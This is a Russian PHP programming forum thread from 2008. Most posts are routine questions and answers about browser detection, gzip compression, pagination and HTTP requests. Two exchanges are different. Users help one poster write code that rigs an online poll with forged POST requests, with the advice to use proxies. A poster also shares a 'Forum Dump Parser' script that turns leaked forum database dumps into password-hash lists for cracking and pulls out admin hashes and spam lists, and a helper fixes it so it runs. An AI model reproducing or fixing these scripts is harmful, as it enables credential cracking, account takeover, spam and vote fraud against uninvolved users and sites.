Хочу написать скрипт статистики посещаемости, под какими браузерами и под какими системами пользователи бывают на сайте, при обнаружение например нового браузера которого нету в базе статистике, он дабавляется туда.
я от лица всего ачата разрешаю сделать это :)
life_is_shit
20.03.2008, 00:24
Хочу написать скрипт статистики посещаемости, под какими браузерами и под какими системами пользователи бывают на сайте, при обнаружение например нового браузера которого нету в базе статистике, он дабавляется туда.
так те помощь нужна, если да то конкретнее в чем помочь? или это констатация факта?)
посоветуйте что нибудь для новичка почитать
http://phpclub.ru/
.:EnoT:.
20.03.2008, 02:10
так те помощь нужна, если да то конкретнее в чем помочь? или это констатация факта?)
ага, решил поделиться самыми откровенными мечтами))
по сабжу:
$agent = htmlspecialchars(stripslashes(getenv("HTTP_USER_AGENT")));
if (strpos($agent, "MSIE") == true)
{
$brodilka = 'IE';
}
elseif(strpos($agent, "Opera") == true)
{
$brodilka = 'Opera';
}
elseif(strpos($agent, "Firefox") == true)
{
$brodilka = 'Firefox';
}
elseif(....) #Другие браузеры
else
{
$brodilka = '...'; #Берём название браузера (хз как правда)
}
$sql = mysql_query("SELECT * FROM `table` WHERE `colnum_name` = '".$brodilka."'");
if(mysql_num_rows($sql) == 0)
{
#Добавляем новый браузер
mysql_query("INSERT INTO `table` VALUE(.....)");
}
Короче потипу того. Дальше сам))
А уж статистику писать эт как нефиг делать) Если трудности то бери любо скрипт и смотри как там сделано))
astrologer
20.03.2008, 03:09
ага, решил поделиться самыми откровенными мечтами))
по сабжу:
$agent = htmlspecialchars(stripslashes(getenv("HTTP_USER_AGENT")));
if (strpos($agent, "MSIE") == true)
{
$brodilka = 'IE';
}
elseif(strpos($agent, "Opera") == true)
{
$brodilka = 'Opera';
}
elseif(strpos($agent, "Firefox") == true)
{
$brodilka = 'Firefox';
}
elseif(....) #Другие браузеры
else
{
$brodilka = '...'; #Берём название браузера (хз как правда)
}
$sql = mysql_query("SELECT * FROM `table` WHERE `colnum_name` = '".$brodilka."'");
if(mysql_num_rows($sql) == 0)
{
#Добавляем новый браузер
mysql_query("INSERT INTO `table` VALUE(.....)");
}
Короче потипу того. Дальше сам))
А уж статистику писать эт как нефиг делать) Если трудности то бери любо скрипт и смотри как там сделано))
strpos('Opera/9.50 (Windows NT 5.1; U; en)', 'Opera') == 0
из мпака 0.91
function detect_browser($HTTP_USER_AGENT) {
// Браузер и его версия
if (eregi("(opera) ([0-9]{1,2}.[0-9]{1,3}){0,1}", $HTTP_USER_AGENT, $match) || eregi("(opera/)([0-9]{1,2}.[0-9]{1,3}){0,1}", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Opera";
$browser[version] = $match[2];
}
elseif (eregi("(konqueror)/([0-9]{1,2}.[0-9]{1,3})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Konqueror";
$browser[version] = $match[2];
}
elseif (eregi("(lynx)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Lynx";
$browser[version] = $match[2];
}
elseif (eregi("(links) \(([0-9]{1,2}.[0-9]{1,3})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Links";
$browser[version] = $match[2];
}
elseif (eregi("(msie) ([0-9]{1,2}.[0-9]{1,3})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "MSIE";
$browser[version] = $match[2];
}
elseif (eregi("(netscape6)/(6.[0-9]{1,3})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Netscape";
$browser[version] = $match[2];
}
elseif (eregi("(mozilla)/([0-9]{1,2}.[0-9]{1,3})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Netscape(mozilla)";
$browser[version] = $match[2];
if (eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $HTTP_USER_AGENT, $match)) {
$browser[name] = "Firefox";
$browser[version] = $match[2];}
}
else {
$browser[name] = "Unknown";
$browser[version] = "Unknown";
}
// OS
if (eregi("linux", $HTTP_USER_AGENT)) $browser[os] = "Linux";
elseif (eregi("win32", $HTTP_USER_AGENT)) $browser[os] = "Windows";
elseif ((eregi("(win)([0-9]{2})", $HTTP_USER_AGENT, $match)) || (eregi("(windows) ([0-9]{2})", $HTTP_USER_AGENT, $match))) $browser[os] = "Windows ".$match[2];
elseif (eregi("(winnt)([0-9]{1,2}.[0-9]{1,2}){0,1}", $HTTP_USER_AGENT, $match)) $browser[os] = "Windows NT ".$match[2];
elseif (eregi("(windows nt)( ){0,1}([0-9]{1,2}.[0-9]{1,2}){0,1}", $HTTP_USER_AGENT, $match)) $browser[os] = "Windows NT ".$match[3];
elseif (eregi("mac", $HTTP_USER_AGENT)) $browser[os] = "Macintosh";
elseif (eregi("freebsd", $HTTP_USER_AGENT)) $browser[os] = "FreeBSD";
else $browser[os] = "Unknown";
if (eregi("(sv1)", $HTTP_USER_AGENT)) $browser[os] = "Windows NT 5.1 SP2";
return $browser;
}
anakreon
20.03.2008, 09:41
Здравствуйте.
Есть web-сервер
Есть сервер базы данных oracle на соседней машине
Как можно организовать подключение к базе?
-=lebed=-
20.03.2008, 13:18
Как заархивировать файл, используя системный вызов, так как параметр max_execution_time = 30 не позволяет отработать скрипту до конца. (его поменять нельзя)
$handle_in = fopen("file.txt", "r");
$handle_out = gzopen("file.gz", "w")
while (!feof($handle_in)) // пока не достигнут конец файла архивируем файл
{
$buffer = fgets($handle_in);
gzwrite($handle_out,$buffer);
}
fclose($handle_in); // закрываем файл (источник)
gzclose ($handle_out); // закрываем архивный файл (приёмник)
- если файл источник большой - то скрипт не успевает отработать до конца файла.
PS Linux 2.6.9-55.0.12
А почему fwrite, а не gzwrite, gzputs?
-=lebed=-
20.03.2008, 14:03
А почему fwrite, а не gzwrite, gzputs?
Угу, согласен - ошибка, конечно gzwrite, исправил, но в 30 сек неукладывается...
$ wc -lc file.txt
13713242 154744102 file.txt
$ cat php gzopen.php
<?php
$handle_in = fopen("file.txt", "r");
$handle_out = gzopen("file.gz", "w");
while (!feof($handle_in)) // пока не достигнут конец файла архивируем файл
{
$buffer = fgets($handle_in);
gzwrite($handle_out,$buffer);
}
fclose($handle_in); // закрываем файл (источник)
gzclose ($handle_out); // закрываем архивный файл (приёмник)
?>
$ time php gzopen.php
real 1m27.121s
user 1m22.449s
sys 0m1.588s
$ cat gzopen2.php
<?php
$max_size = memory_get_usage () * 0.8;
$handle_in = fopen("file.txt", "r");
$handle_out = gzopen("file.gz", "w");
while (!feof($handle_in)) // пока не достигнут конец файла архивируем файл
{
$buffer = fread ($handle_in, $max_size);
gzwrite($handle_out,$buffer);
}
fclose($handle_in); // закрываем файл (источник)
gzclose ($handle_out); // закрываем архивный файл (приёмник)
?>
$ time php gzopen2.php
real 0m36.477s
user 0m34.346s
sys 0m1.016s
$
-=lebed=-
20.03.2008, 15:56
------------------------
$max_size = memory_get_usage () * 0.8;
----------------------
Поясни плиз, почему коэффицент именно 0.8 ?
Я разные подставлял, этот был последним)
!{ra!{e/\/
20.03.2008, 17:11
Хочу накрутить голосование
POST http://ххххх.ru/ххх/хх/ххх/vote.php HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Host: хххххххх.ru
Content-Length: 16
Pragma: no-cache
Connection: Keep-Alive
form%5Bgirl%5D=1
это запрос отправляемый моим браузером при голосовании....
как мне написать php код.....
так?
<?
if ( ( $io = fsockopen( "www.ххххх.ru", 80, $errno, $errstr, 5 ) ) !== false )
{
$send = "POST http://ххххх.ru/хххх/ххх/ххх/vote.php HTTP/1.0\r\n";
$send .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
$send .= "Accept-Language: ru\r\n";
$send .= "Content-Type: application/x-www-form-urlencoded\r\n";
$send .= "Host: ххххх.ru\r\n";
$send .= "Content-Length: 16\r\n";
$send .= "Pragma: no-cache\r\n";
$send .= "Connection: Keep-Alive\r\n\r\n";
$send .= "form%5Bgirl%5D=1";
fputs ( $io, $send );
}
else echo "НЕ могу подключится";
?>
вроди бы все правильно(((
пишет ошибку
Warning: fsockopen() [function.fsockopen]: unable to connect to www.ххххх.ru:80 (Попытка установить соединение была безуспешной, т.к. от другого компьютера за требуемое время не получен нужный отклик, или было разорвано уже установленное соединение из-за неверного отклика уже подключенного компьютера. ) in Z:\home\localhost\www\vike_flood.php on line 2
НЕ могу подключится
Из за чего может быть моя ошибка?
2!{ra!{e/\/
Там же написано: Попытка установить соединение была безуспешной, т.к. от другого компьютера за требуемое время не получен нужный отклик, или было разорвано уже установленное соединение из-за неверного отклика уже подключенного компьютера.
.:EnoT:.
20.03.2008, 17:36
5вообще маловато будет =\
Вообще я бы сделал типо того:
<?php
$io = fsockopen("ххххх.ru", 80, $errno, $errstr, 30);
if ($io)
{
$send = "POST http://ххххх.ru/хххх/ххх/ххх/vote.php HTTP/1.0\r\n";
$send .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
$send .= "Accept-Language: ru\r\n";
$send .= "Content-Type: application/x-www-form-urlencoded\r\n";
$send .= "Host: ххххх.ru\r\n";
$send .= "Content-Length: 16\r\n";
$send .= "Pragma: no-cache\r\n";
$send .= "Connection: Keep-Alive\r\n\r\n";
$send .= "form%5Bgirl%5D=1";
fwrite($io, $send);
while (!feof($io))
{
$line = fgets($io, 1024);
echo $line.'<br/>';
}
fclose($io);
}
else
{
echo "НЕ могу подключится";
}
?>
но для накрутки имхо лучше с проксями. Или Номерадин щас скажет что я опять не в теме?))))
Приветствую Всех! Извините, я пока ламер в вопросах веб-програмирования - и хотел бы поинтересоваться:
1_Хочу создать свой форум на phpbb 3 - движок уже есть, хост есть, там фтп-ка, как туда залить!? File-zilla подойдет!? Как там настроить права админа - т.е. сначала надо в движке все редактировать или же после того как залью - можно будет с ним работать!? как правильно устанавливать скрипты!? Опять же через фтп заливку или там будет доступно!?
2_А если я хочу создать сайт на другом хостинге, там тоже фтп-заливка - что для этого нужно!? Какой движок использовать!?
Хм... вроде пока все.
ToniKapuchon
21.03.2008, 12:20
1. Настраиваешь ftp клиент.. пишешь, там логин и пароль... заливаешь всю папку со скриптами... потом идёшь.... на что-то типа instal.php!! указываешь там данные базы, полученные от хостера, всё admin.php! Напиши хостинг, что-ли... narod.ru?
2. Движок для сайта - тут где то есть обзор на форуме платных и бесплатных кмс... выбирай любую!!
и не забудь удалить install.php
Напиши хостинг, что-ли... narod.ru?
насчет хостинга скорее всего будет locallhost если БД на том же хосте находится.
по поводу FTP лучше все-таки использовать cuteFTP
и последний,чисто коммерческий совет: размещать форум где нибудь на yourdomain.ru/forum или forum.yourdomain.ru
т.е. в графе "путь_к_форуму" обозначать не главную страницу, а не просто yourdomain.ru
и самое главное на файл config.php установить права доступа (chmod) 444 или 676
Painkiller
22.03.2008, 00:34
Всем привет!
Хотелось бы увидеть мнения по навигации для заметок из базы желательно простой как три рубля. (и с комментами по ходу кода)
Заметок из базы выводится на страницу по 3 штуки .
вид примерно хотелось бы видеть такой:
пред 1 2 3 последняя
Постраничная навигация на файлах
Автор: IT-студия SoftTime (softtime.ru)
Скрипт предназначен отображения определённого числа позиций из файла и генерации ссылок на следующие позиции. Пусть имеется файл text.txt следующего формата.
Файл данных text.txt
1 Программирование
2 Программирование на PHP
3 Программирование на JavaScript
4 Программирование на ASP.NET
5 Программирование на Java
6 Программирование на Perl
7 Программирование на C++
8 Программирование на Pascal
9 Программирование на Fortran
10 Программирование на Assembler
Тогда скрипт, выводящий по три позиции на странице может выглядеть так, как это представлено ниже
Постраничная навигация
<?php
// Имя файла
$filename = "text.txt";
// Число позиций на странице
$pnumber = 3;
// Открываем файл для чтения
$bufer = file_get_contents($filename);
// Находим все строки при помощи регулярного выражения
preg_match_all("#([\d]+) ([^\n]+)(\n|$)#U",
$bufer,
$out,
PREG_PATTERN_ORDER);
// Формируем промежуточный массив
for($i = 0; $i < count($out[1]); $i++)
{
$temp[] = trim($out[2][$i]);
}
// Проверяем передан ли номер текущей страницы
if(isset($_GET['page'])) $page = $_GET['page'];
else $page = 1;
// Число страниц
$total = count($temp);
$number = (int)($total/$pnumber);
if((float)($total/$pnumber) - $number != 0) $number++;
$start = (($page - 1)*$pnumber + 1);
$end = $page*$pnumber + 1;
if($end > $total) $end = $total;
// Выводим содержимое страниц
for($i = $start; $i < $end; $i++)
{
echo $temp[$i]."<br>";
}
// Постраничная навигация
for($i = 1; $i <= $number; $i++)
{
// Если это произвольная страница
if($i != $number)
{
if($page == $i)
{
echo "[".(($i - 1)*$pnumber + 1)."-".$i*$pnumber."] ";
}
else
{
echo "<a href=$_SERVER[PHP_SELF]?page=".$i.">[".
(($i - 1)*$pnumber + 1)."-".$i*$pnumber."]</a> ";
}
}
// Если это последняя страница заменяем последнюю цифру
// максимальным числом позиций в массиве $temp
else
{
if($page == $i)
{
echo "[".(($i - 1)*$pnumber + 1)."-".($total - 1)."] ";
}
else
{
echo "<a href=$_SERVER[PHP_SELF]?page=".$i.">[".
(($i - 1)*$pnumber + 1)."-".($total - 1)."]</a> ";
}
}
}
?>
_http://php.su/articles/?cat=examples&page=057
RedBull@12
22.03.2008, 04:20
всем привет.
возникла немного не понятная проблема.
скрипт выполняет некоторые действия и посылает запросы POST/GET.
POST работает на УРА!
а вот GET творит что-то не понятное, при запуске выполняет все действия, но думает минимум 10-20 секунд. вот функция POST запроса
function post($address,$request,$cookies,$referer) {
global $host,$port,$user_agent,$login,$pass;
$hash = "";
$fsite = fsockopen($host,$port,$error_number,$error_descrip tion,10);
$ffile = fopen("hash","w+");
if ($fsite) {
stream_set_blocking($fsite,FALSE);
fputs($fsite,"POST $address HTTP/1.1\r\n");
fputs($fsite,"Accept-Language: ru\r\n");
fputs($fsite,"Content-Type: application/x-www-form-urlencoded\r\n");
fputs($fsite,"Host: $host\r\n");
fputs($fsite,"Referer: $referer\r\n");
fputs($fsite,"Cookie: $cookies\r\n");
fputs($fsite,"User-Agent: $user_agent\r\n");
fputs($fsite,"Proxy-Connection: Keep-Alive\r\n");
fputs($fsite,"Content-Length: ".strlen($request)."\r\n");
fputs($fsite,"\r\n");
fputs($fsite,"$request\r\n");
fputs($fsite,"\r\n");
$i = 0;
while (!feof($fsite)) {
$hash_test = fgets($fsite, 1024);
fputs($ffile,$hash_test);
$i++;
}
fclose($fsite);
return 1;
}
}
а вот GET функция
function get($address,$cookies,$referer) {
global $host,$port,$user_agent,$login,$pass;
$hash = "";
$fsite = fsockopen($host,$port,$error_number,$error_descrip tion,10);
$ffile = fopen("hash","w+");
if ($fsite) {
stream_set_blocking($fsite,FALSE);
fputs($fsite,"GET $address HTTP/1.1\r\n");
fputs($fsite,"Accept-Language: ru\r\n");
fputs($fsite,"Content-Type: application/x-www-form-urlencoded\r\n");
fputs($fsite,"Host: $host\r\n");
fputs($fsite,"Referer: $referer\r\n");
fputs($fsite,"Cookie: $cookies\r\n");
fputs($fsite,"User-Agent: $user_agent\r\n");
fputs($fsite,"Proxy-Connection: Keep-Alive\r\n");
fputs($fsite,"\r\n");
$i = 0;
while (!feof($fsite)) {
$hash_test = fgets($fsite, 1024);
fputs($ffile,$hash_test);
$i++;
}
fclose($fsite);
return 1;
}
}причем когда смотрю по времени создания hash файла я понимаю что скрипт уже все сделал...но при этом висит..и в ответ либо выдает нужный мне ерзультат но с большим опозданием, либо вообще ничего. как будет-то скрипт прирывается по функции exit(); хотя данной функции вообще ни в одном скрипте нету.
echobyte
22.03.2008, 06:02
возникла немного не понятная проблема.
GET есть ограниченый метод, забей на него
Painkiller
22.03.2008, 06:35
Dimi4
Спасибо попытаюсь адаптировать для базы.
<?php
fputs($fsite,"Content-Type: text/html\r\n");
?>
А вообще пора бы учиться отлаживать скрипты...
function post($address,$request,$cookies,$referer) {
global $host,$port,$user_agent,$login,$pass;
а вот разработчики наверное зря парились реализовывая ооп....
RedBull@12
22.03.2008, 12:07
так кто-нибудь может объяснить в чем проблема?get есть ограниченый метод, забей на негоон мне необходим поэтому нельзя пропускать его.
то что написал Isis я сделал, но от этого легче не стало. все тоже самое
при запуске выполняет все действия, но думает минимум 10-20 секунд
добавь fputs($fsite,"Connection: close\r\n\r\n");
все теперь заработает!
Подскажите пожалуйста, можно ли сформировать функцию, которая могла бы проверять в переменной слова на ошибки. Да и вообще текст. Возможно ли такое сотворить? Опять таки я в этом деле новичек так что не кидайте грязью если что =)
Подскажите пожалуйста, можно ли сформировать функцию, которая могла бы проверять в переменной слова на ошибки. Да и вообще текст. Возможно ли такое сотворить? Опять таки я в этом деле новичек так что не кидайте грязью если что =)
Словарь языка с хорошей индексацией + правила языка... В ворде так вроде?:)
А ещё и нейросеть хорошо бы приплести... В общем, не думай об этом...
Словарь языка с хорошей индексацией + правила языка... В ворде так вроде?:)
А ещё и нейросеть хорошо бы приплести... В общем, не думай об этом...
Да.. это слишком :D
вопросик такой, как осущиствлить проверкуфайлов на вирусы с помошю веб-програминга, не знаю можно ли на пхп зделать... но всетаки думаю спрошу здесь...
мне так кажеца что реализацыя должна быть на перле.. если есть такаято инфа по етому поводу буду очень рад)
вопросик такой, как осущиствлить проверкуфайлов на вирусы с помошю веб-програминга, не знаю можно ли на пхп зделать... но всетаки думаю спрошу здесь...
мне так кажеца что реализацыя должна быть на перле.. если есть такаято инфа по етому поводу буду очень рад)
Отсылаешь файл на вирустотал, получаешь результат, выводишь на страницу...
нее так не канает... мне саму проверку как осуществить..
ToniKapuchon
23.03.2008, 00:01
без шансов...! эт ты типа хочешь написать касперского на перле....я правильно понял?
как осущиствлить проверкуфайлов на вирусы с помошю веб-програминга, не знаю можно ли на пхп зделать...
если это... (http://www.unix.org.ua/bach/glava_70.htm)
тогда (http://www.hackerdom.ru/Doklad?show_comments=1)
:rolleyes:
что за скрипт? ПЕРЛ или ПХП
И как его запустить
<?
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*
/* Forum Dump Parser v0.2 (FDPv0.2)
/* by Re@ctor
/* http://truenet.net.ru/security/
/*
/*
/* Скрипт предназначен для частного использования и позволяет
/* привести имеющиеся дампы баз данных в единый удобный формат для
/* дальнейшего анализа в программе Passwords Pro, либо просто
/* в списки для других программ.
/*
/* Скрипт запрещается использовать в корыстных целях и автор не
/* несёт ответственности за возможный ущерб, причинённый от исполь-
/* зования данного скрипта.
/*
/* Скрипт запрещается использовать в противозаконных целях, либо
/* целях, ведущих к умышленному или неумышленному нарушению законода-
/* тельства Российской Федерации.
/*
/* Хорошего дня и доброго насроения! ;-)
/* Помните про существование TrueNET! =)
/*
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
###### 1. выходной формат файлов ######
# для брута, формат Passwords Pro
#$sort = array('username','password','salt'); # пользователи
#$sort = array('email','password','salt'); # мыльники
$sort = array('icq','password','salt'); # аськи
# помните, что формат PPro - имя:хэш:сальт:расшифр.парол ь:комментарий
# поэтому надо писать от 2 до 3 значений, т.к. меньше или больше
# будет воспринято неверно программой.
# просто базы
#$sort = array('email'); # e-mail
#$sort = array('icq'); # icq
###### 2. формирование строк ######
$delim = "¤"; # разделитель между значениями
$br = "\n"; # чем заканчивать строку (\n - перенос строки)
###### 3. промежуточный вывод ######
$makefiles = 1; # делать ли отдельные файлы для каждого дампа
$ext = "txt"; # расширение выходного файла этих файлов
###### 4. параметры сбора информации ######
$site = 1; # если $makefiles = 0;, то получать сведения о сайте
# из титла и мета-тегов (необоходимо подключение к сети) и записывать в начало файла
# ( удобно при составлении тематических спам-баз )
# формат файла должен быть префиксАДРЕС_САЙТАрасшире ие, где префикс и расширение любые
$site_prefix = ''; # если $site=1, указать префикс файлов
$site_ext = '.sql'; # если $site=1, указать расширение файлов
$convert = 0; # конвертировать полученный текст в win-1251, если оно не в нём (отключить при багах)
###### 5. общий файл с данными ######
$hashmake = 1; # делать ли единый файл со всеми хэшами
$hash_filename = '!PasswordsPro.Hashes'; # имя файла с хэшами
###### 6. выборка из дампов админов в отдельный файл ######
$admins = 1; # сделать файл с хэшами админов дампов
$admin_pass = 'password'; # имя ячейки с хэшем пароля
$admin_salt = 'salt'; # имя ячейки с салом пароля
$admin_comment = array('username','email','icq'); # то что будет в комментарии в полях пассворс-про
$admin_filename = '!admin.PasswordsPro.Hashes';
###### 7. (WARNING!) имя первой ячейки в таблице ######
$firstintable = 'userid'; # название первой ячейки в таблице (важно!)
ini_set("max_execution_time","86400");
set_time_limit(0);
function make($value) { return preg_replace("'\'(.*?)\''i",'\\1',$value); }
function checksalt($salt) { if(strlen($salt)>3) return str_replace(array("\\\\",'\"',"\'"),array("\\",'"',"'"),$salt); else return $salt; }
function koi($txt) { return convert_cyr_string($txt,'k','w'); }
function iso($txt) { return convert_cyr_string($txt,'i','w'); }
function myau() { echo "\n\nDone! ;-D\n\nNice day. Visit http://truenet.net.ru/ !\n\n"; }
$d=opendir('.');
while(($e=readdir($d))!=false) {
if($e=='.'||$e=='..'||$e==$admin_filename||$e==$ha sh_filename||$e==$argv[0]) continue;
if(is_file($e)) {
if($makefiles==1)$f = fopen("$e.$ext","w+");
echo "[+] $e (".filesize($e)." bytes)\n";
$file = file($e);
foreach($file as $a) {
$tmp = explode(' ',$a); $tablesuf=$tmp[1];
if(!$vars) { if($tablesuf==$firstintable) { $vars[]=array('name'=>$firstintable,'num'=>0); } continue; }
foreach(array_unique(array_merge($sort,$admin_comm ent)) as $s) {
if($tablesuf==$s) { $vars[]=array('name'=>$s,'num'=>count($vars)); $y=1; }
}
if(!$y) $vars[]='b'; else unset($y);
if(strstr($a,'PRIMARY KEY')) break;
}
foreach($file as $a) {
if(strstr($a,"INSERT INTO")) {
$tmp = preg_replace("'INSERT INTO (.*?) VALUES\((.*?)\);'i",'\\2',$a);
$values = explode(',',$tmp);
foreach($values as $v) { $m[] = str_replace(array("\r","\n"),'',$v); }
foreach($sort as $s) {
if(!$vars) { echo "[!] Can't get table values from $e =[\n"; break; } else foreach($vars as $v) {
if($admins==1&&$hashmake==0&&$makefiles==0) {
if(!$tr) $tr[]=$e;
if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]);
elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']]));
foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
$admok=1;
} else {
if($s==$v['name']) {
if($s=='salt') $tm[] = checksalt(make($m[$v['num']]));
else $tm[] = make($m[$v['num']]);
}
if($admins==1&&!$admok) {
if(!$tr) $tr[]=$e;
if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]);
elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']]));
foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
}
}
}
if($admok==1) break; $admok=2;
}
if($tm[0])$globhash[]=$towrite[]=@implode($tm,$delim); if($admins==1)if($tr[0])$odmen[]=@implode($tr,$delim).$delim.$delim.@implode($comm ent,', ');
unset($tr); unset($m); unset($tm); unset($comment);
if($admok==1) break;
}
}
if($makefiles==1) {
if($site==1) {
$host = preg_replace("'$site_prefix(.*?)$site_ext'i",'\\1',$e);
echo "[:] connecting to $host..\n";
$fp = fsockopen($host,80,&$errno,&$errstr,5);
if(!$fp) echo "[:] Error connecting $host ($errno - $errstr)\n";
fputs($fp,"GET / HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\r\nHost: $host\r\nAccept-Language: ru\r\nAccept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n\r\n");
while(!feof($fp)) {
$tmp=fgets($fp,1000);
if(preg_match("'charset='i",$tmp)||!$schar) {
$ch=preg_replace("'(.*?)charset=(.*?)\r\n'i",'\\2',$tmp);
if(preg_match("'koi8-r'i",$ch)) $koi=1;
elseif(preg_match("'iso8859-5'i",$ch)) $iso=1; $schar=1;
}
elseif(preg_match("'<title>(.*?)</title>'i",$tmp)) {
$title=preg_replace("'(.*?)<title>(.*?)</title>(.*?)'i",'\\2',$tmp);
echo "[:] TITLE ok..\n";
}
elseif(preg_match("'<meta (.*?)keywords(.*?)>'i",$tmp)) {
$kiwords=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
echo "[:] KEYWORDS ok..\n";
}
elseif(preg_match("'<meta (.*?)description(.*?)>'i",$tmp)) {
$descr=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
echo "[:] DESCRIPTION ok..\n";
}
elseif(preg_match("'</head>'i",$tmp)||preg_match("'<body'i",$tmp)) break;
}
fclose($fp);
if($koi||$convert==1) { $title=koi($title); $kiwords=koi($kiwords); $descr=koi($descr); }
if($iso||$convert==1) { $title=iso($title); $kiwords=iso($kiwords); $descr=iso($descr); }
$info="Site: $host\nTitle: $title\nDescription: $descr\nKeywords: $kiwords\n\n"; $title=$host=$descr=$kiwords='';
}
echo "[~] sorting and writing hashes in $e.$ext..\n"; @asort($towrite); fwrite($f,$info.@implode($towrite,$br)); fclose($f); unset($info);
}
unset($vars); unset($file); unset($towrite); unset($admok);
}
}
if($hashmake==1) { echo " sorting & writing all hashes..\n"; @asort($globhash); $f = fopen($hash_filename,"w+");fwrite($f,@implode($globhash,$br));fclose($f);}
if($admins==1) { echo " sorting & writing admin hashes..\n"; @asort($odmen); $f = fopen($admin_filename,"w+"); fwrite($f,@implode($odmen,$br)); fclose($f);}
myau();
?>
__________________
De-visible
23.03.2008, 01:55
Php скрипт! Залей на сервак с поддержкой PHP Или установи appserv, denwer, apache and php ну и т.д.
залил на сай выдаёь ошибку.
Parse error: syntax error, unexpected T_STRING in /mounted-storage/home59b/sub009/sc37906-IDWC/www/45.php on line 83
Сайт подерживает пхп
.:EnoT:.
23.03.2008, 03:01
BBG2
Там в скрипте просто пробелы в переменных стояли, вот и ошибки выдавал.
<?
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*
/* Forum Dump Parser v0.2 (FDPv0.2)
/* by Re@ctor
/* http://truenet.net.ru/security/
/*
/*
/* Скрипт предназначен для частного использования и позволяет
/* привести имеющиеся дампы баз данных в единый удобный формат для
/* дальнейшего анализа в программе Passwords Pro, либо просто
/* в списки для других программ.
/*
/* Скрипт запрещается использовать в корыстных целях и автор не
/* несёт ответственности за возможный ущерб, причинённый от исполь-
/* зования данного скрипта.
/*
/* Скрипт запрещается использовать в противозаконных целях, либо
/* целях, ведущих к умышленному или неумышленному нарушению законода-
/* тельства Российской Федерации.
/*
/* Хорошего дня и доброго насроения! ;-)
/* Помните про существование TrueNET! =)
/*
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
###### 1. выходной формат файлов ######
# для брута, формат Passwords Pro
#$sort = array('username','password','salt'); # пользователи
#$sort = array('email','password','salt'); # мыльники
$sort = array('icq','password','salt'); # аськи
# помните, что формат PPro - имя:хэш:сальт:расшифр.парол ь:комментарий
# поэтому надо писать от 2 до 3 значений, т.к. меньше или больше
# будет воспринято неверно программой.
# просто базы
#$sort = array('email'); # e-mail
#$sort = array('icq'); # icq
###### 2. формирование строк ######
$delim = "¤"; # разделитель между значениями
$br = "\n"; # чем заканчивать строку (\n - перенос строки)
###### 3. промежуточный вывод ######
$makefiles = 1; # делать ли отдельные файлы для каждого дампа
$ext = "txt"; # расширение выходного файла этих файлов
###### 4. параметры сбора информации ######
$site = 1; # если $makefiles = 0;, то получать сведения о сайте
# из титла и мета-тегов (необоходимо подключение к сети) и записывать в начало файла
# ( удобно при составлении тематических спам-баз )
# формат файла должен быть префиксАДРЕС_САЙТАрасшире ие, где префикс и расширение любые
$site_prefix = ''; # если $site=1, указать префикс файлов
$site_ext = '.sql'; # если $site=1, указать расширение файлов
$convert = 0; # конвертировать полученный текст в win-1251, если оно не в нём (отключить при багах)
###### 5. общий файл с данными ######
$hashmake = 1; # делать ли единый файл со всеми хэшами
$hash_filename = '!PasswordsPro.Hashes'; # имя файла с хэшами
###### 6. выборка из дампов админов в отдельный файл ######
$admins = 1; # сделать файл с хэшами админов дампов
$admin_pass = 'password'; # имя ячейки с хэшем пароля
$admin_salt = 'salt'; # имя ячейки с салом пароля
$admin_comment = array('username','email','icq'); # то что будет в комментарии в полях пассворс-про
$admin_filename = '!admin.PasswordsPro.Hashes';
###### 7. (WARNING!) имя первой ячейки в таблице ######
$firstintable = 'userid'; # название первой ячейки в таблице (важно!)
ini_set("max_execution_time","86400");
set_time_limit(0);
function make($value) { return preg_replace("'\'(.*?)\''i",'\\1',$value); }
function checksalt($salt) { if(strlen($salt)>3) return str_replace(array("\\\\",'\"',"\'"),array("\\",'"',"'"),$salt); else return $salt; }
function koi($txt) { return convert_cyr_string($txt,'k','w'); }
function iso($txt) { return convert_cyr_string($txt,'i','w'); }
function myau() { echo "\n\nDone! ;-D\n\nNice day. Visit http://truenet.net.ru/ !\n\n"; }
$d=opendir('.');
while(($e=readdir($d))!=false) {
if($e=='.'||$e=='..' || $e==$admin_filename || $e==$hash_filename || $e==$argv[0]) continue;
if(is_file($e)) {
if($makefiles==1)$f = fopen("$e.$ext","w+");
